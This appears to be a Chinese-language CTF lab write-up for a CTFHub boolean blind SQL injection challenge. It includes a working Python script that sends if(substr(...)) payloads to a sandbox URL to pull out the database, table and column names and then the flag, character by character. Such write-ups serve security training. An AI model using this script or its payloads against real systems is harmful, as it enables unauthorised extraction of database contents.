ctfhub技能树—sql注入—布尔盲注

打开靶机

查看页面信息

开始试验,查看返回信息

此题存在一个问题,如果没有数据,也是返回query_success

如此一来,就无法使用and组合进行注入,在看了其他大佬的解题过程后,知道了可以使用“if()”进行注入

附上链接

https://blog.csdn.net/weixin_44732566/article/details/104455318
if(expr1,expr2,expr3),如果expr1的值为true,则执行expr2语句,如果expr1的值为false,则执行expr3语句。

于是根据该文章提示,写出如下脚本

#! /usr/bin/env python
# _*_  coding:utf-8 _*_
import requests
import sys
session=requests.session()
url = "http://challenge-2d36497ea5cb2b8c.sandbox.ctfhub.com:10080/?id="
name = ""

# for k in range(1,10):
#     for i in range(1,10):
#         print(i)
#         for j in range(31,128):
#             j = (128+31) -j
#             str_ascii=chr(j)
#             #数据库名
#             #payolad = "if(substr(database(),%s,1) = '%s',1,(select table_name from information_schema.tables))"%(str(i),str(str_ascii))
#             #表名
#             #payolad = "if(substr((select table_name from information_schema.tables where table_schema='sqli' limit %d,1),%d,1) = '%s',1,(select table_name from information_schema.tables))" %(k,i,str(str_ascii))
#             #字段名
#             payolad = "if(substr((select column_name from information_schema.columns where table_name='flag' and table_schema='sqli'),%d,1) = '%s',1,(select table_name from information_schema.tables))" %(i,str(str_ascii))
#             str_get = session.get(url=url + payolad).text
#             if "query_success" in str_get:
#                 if str_ascii=="+":
#                    sys.exit()
#                 else:
#                     name+=str_ascii
#                     break
#         print(name)

#查询字段内容
for i in range(1,50):
    print(i)
    for j in range(31,128):
        j = (128+31) -j
        str_ascii=chr(j)
        payolad = "if(substr((select flag from sqli.flag),%d,1) = '%s',1,(select table_name from information_schema.tables))" %(i,str_ascii)
        str_get = session.get(url=url + payolad).text
        if "query_success" in str_get:
            if str_ascii == "+":
                sys.exit()
            else:
                name += str_ascii
                break
    print(name)

具体实验如下

查询数据库名

 查询表名

 查询字段名

 查询字段信息

 成功拿到flag

脚本写的过程中用了多次循环,每次循环都会发送一个get请求,所以可能会报错,无法继续运行,如果遇到这种情况,请重新执行脚本

报错内容如下(技艺不精)

如果一直报错无法得到正确答案建议分多组运行

更改(for i in range(1,50))为(for i in range(1,30),for i in range(25,50))

如果还是不行就再多分一组

原文地址:https://www.cnblogs.com/anweilx/p/12469595.html